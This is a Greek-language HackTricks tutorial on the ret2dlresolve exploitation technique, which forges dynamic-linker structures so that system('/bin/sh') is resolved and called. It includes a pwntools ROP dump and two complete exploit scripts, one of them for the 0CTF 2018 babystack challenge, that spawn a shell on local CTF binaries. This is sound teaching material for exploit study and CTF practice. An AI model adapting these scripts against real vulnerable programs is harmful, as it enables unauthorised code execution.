Ret2dlresolve

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Υποστηρίξτε το HackTricks

• Ελέγξτε τα σχέδια συνδρομής!

• Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.

• Μοιραστείτε hacking tricks υποβάλλοντας PRs στα αποθετήρια του HackTricks](https://github.com/carlospolop/hacktricks) και του HackTricks Cloud.

Βασικές Πληροφορίες

Όπως εξηγείται στη σελίδα για το GOT/PLT και το Relro, τα δυαδικά χωρίς Full Relro θα επιλύουν σύμβολα (όπως διευθύνσεις προς εξωτερικές βιβλιοθήκες) την πρώτη φορά που χρησιμοποιούνται. Αυτή η επίλυση γίνεται καλώντας τη λειτουργία _dl_runtime_resolve.

Η λειτουργία _dl_runtime_resolve παίρνει από τη στοίβα αναφορές σε μερικές δομές που χρειάζεται για να επιλύσει το συγκεκριμένο σύμβολο.

Επομένως, είναι δυνατόν να πλαστογραφήσετε όλες αυτές τις δομές για να κάνετε τη δυναμική σύνδεση να επιλύσει το ζητούμενο σύμβολο (όπως η λειτουργία system) και να την καλέσετε με ρυθμισμένη παράμετρο (π.χ. system('/bin/sh')).

Συνήθως, όλες αυτές οι δομές πλαστογραφούνται κάνοντας μια αρχική ROP αλυσίδα που καλεί την read πάνω σε μια εγγράψιμη μνήμη, στη συνέχεια οι δομές και η συμβολοσειρά '/bin/sh' περνιούνται έτσι ώστε να αποθηκευτούν από την read σε μια γνωστή τοποθεσία, και στη συνέχεια η αλυσίδα ROP συνεχίζει καλώντας _dl_runtime_resolve, έχοντας τη δυνατότητα να επιλύσει τη διεύθυνση του system στις πλαστογραφημένες δομές και να καλέσει αυτήν τη διεύθυνση με τη διεύθυνση προς $'/bin/sh'.

Αυτή η τεχνική είναι χρήσιμη ειδικά αν δεν υπάρχουν gadgets syscall (για χρήση τεχνικών όπως το ret2syscall ή το SROP) και δεν υπάρχουν τρόποι διαρροής διευθύνσεων της libc.

Δείτε αυτό το βίντεο για μια ωραία εξήγηση σχετικά με αυτήν την τεχνική στο δεύτερο μισό του βίντεο:

Ή ελέγξτε αυτές τις σελίδες για μια εξήγηση βήμα προς βήμα:

• https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works

• https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures

Σύνοψη Επίθεσης

1. Γράψτε ψεύτικες δομές σε κάποιο μέρος

2. Ορίστε τον πρώτο ορισμό του συστήματος ($rdi = &'/bin/sh')

3. Ορίστε στη στοίβα τις διευθύνσεις των δομών για να καλέσετε το _dl_runtime_resolve

4. Καλέστε τον _dl_runtime_resolve

5. Το system θα επιλυθεί και θα κληθεί με το '/bin/sh' ως όρισμα

Από τη τεκμηρίωση των pwntools, έτσι φαίνεται μια επίθεση ret2dlresolve:

context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
>>> rop = ROP(elf)
>>> dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["echo pwned"])
>>> rop.read(0, dlresolve.data_addr) # do not forget this step, but use whatever function you like
>>> rop.ret2dlresolve(dlresolve)
>>> raw_rop = rop.chain()
>>> print(rop.dump())
0x0000:         0x400593 pop rdi; ret
0x0008:              0x0 [arg0] rdi = 0
0x0010:         0x400591 pop rsi; pop r15; ret
0x0018:         0x601e00 [arg1] rsi = 6299136
0x0020:      b'iaaajaaa' <pad r15>
0x0028:         0x4003f0 read
0x0030:         0x400593 pop rdi; ret
0x0038:         0x601e48 [arg0] rdi = 6299208
0x0040:         0x4003e0 [plt_init] system
0x0048:          0x15670 [dlresolve index]

Παράδειγμα

Καθαρό Pwntools

Μπορείτε να βρείτε ένα παράδειγμα αυτής της τεχνικής εδώ που περιέχει μια πολύ καλή εξήγηση της τελικής ROP αλυσίδας, αλλά εδώ είναι η τελική εκμετάλλευση που χρησιμοποιήθηκε:

from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = elf.process()
rop = ROP(elf)

# create the dlresolve object
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])

rop.raw('A' * 76)
rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures
rop.ret2dlresolve(dlresolve)     # call .plt and dl-resolve() with the correct, calculated reloc_offset

log.info(rop.dump())

p.sendline(rop.chain())
p.sendline(dlresolve.payload)    # now the read is called and we pass all the relevant structures in

p.interactive()

Ακατέργαστο

# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html
# This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack

from pwn import *

target = process('./babystack')
#gdb.attach(target)

elf = ELF('babystack')

# Establish starts of various sections
bss = 0x804a020

dynstr = 0x804822c

dynsym = 0x80481cc

relplt = 0x80482b0

# Establish two functions

scanInput = p32(0x804843b)
resolve = p32(0x80482f0) #dlresolve address

# Establish size of second payload

payload1_size = 43

# Our first scan
# This will call read to scan in our fake entries into the plt
# Then return back to scanInput to re-exploit the bug

payload0 = ""

payload0 += "0"*44                        # Filler from start of input to return address
payload0 += p32(elf.symbols['read'])    # Return read
payload0 += scanInput                    # After the read call, return to scan input
payload0 += p32(0)                        # Read via stdin
payload0 += p32(bss)                    # Scan into the start of the bss
payload0 += p32(payload1_size)            # How much data to scan in

target.send(payload0)

# Our second scan
# This will be scanned into the start of the bss
# It will contain the fake entries for our ret_2_dl_resolve attack

# Calculate the r_info value
# It will provide an index to our dynsym entry
dynsym_offset = ((bss + 0xc) - dynsym) / 0x10
r_info = (dynsym_offset << 8) | 0x7

# Calculate the offset from the start of dynstr section to our dynstr entry
dynstr_index = (bss + 28) - dynstr

paylaod1 = ""

# Our .rel.plt entry
paylaod1 += p32(elf.got['alarm'])
paylaod1 += p32(r_info)

# Empty
paylaod1 += p32(0x0)

# Our dynsm entry
paylaod1 += p32(dynstr_index)
paylaod1 += p32(0xde)*3

# Our dynstr entry
paylaod1 += "system\x00"

# Store "/bin/sh" here so we can have a pointer ot it
paylaod1 += "/bin/sh\x00"

target.send(paylaod1)

# Our third scan, which will execute the ret_2_dl_resolve
# This will just call 0x80482f0, which is responsible for calling the functions for resolving
# We will pass it the `.rel.plt` index for our fake entry
# As well as the arguments for system

# Calculate address of "/bin/sh"
binsh_bss_address = bss + 35

# Calculate the .rel.plt offset
ret_plt_offset = bss - relplt


paylaod2 = ""

paylaod2 += "0"*44
paylaod2 += resolve                 # 0x80482f0
paylaod2 += p32(ret_plt_offset)        # .rel.plt offset
paylaod2 += p32(0xdeadbeef)            # The next return address after 0x80482f0, really doesn't matter for us
paylaod2 += p32(binsh_bss_address)    # Our argument, address of "/bin/sh"

target.send(paylaod2)

# Enjoy the shell!
target.interactive()

Άλλα Παραδείγματα & Αναφορές

• https://youtu.be/ADULSwnQs-s

• https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve

• https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html

• 32bit, χωρίς relro, χωρίς canary, nx, χωρίς pie, βασική μικρή υπερχείλιση buffer και επιστροφή. Για να εκμεταλλευτείτε το bof χρησιμοποιείται για να καλέσει ξανά το read με μια ενότητα .bss και μεγαλύτερο μέγεθος, για να αποθηκεύσει εκεί τους ψεύτικους πίνακες dlresolve για να φορτώσει το system, να επιστρέψει στο κύριο πρόγραμμα και να εκμεταλλευτεί ξανά το αρχικό bof για να καλέσει το dlresolve και μετά το system('/bin/sh').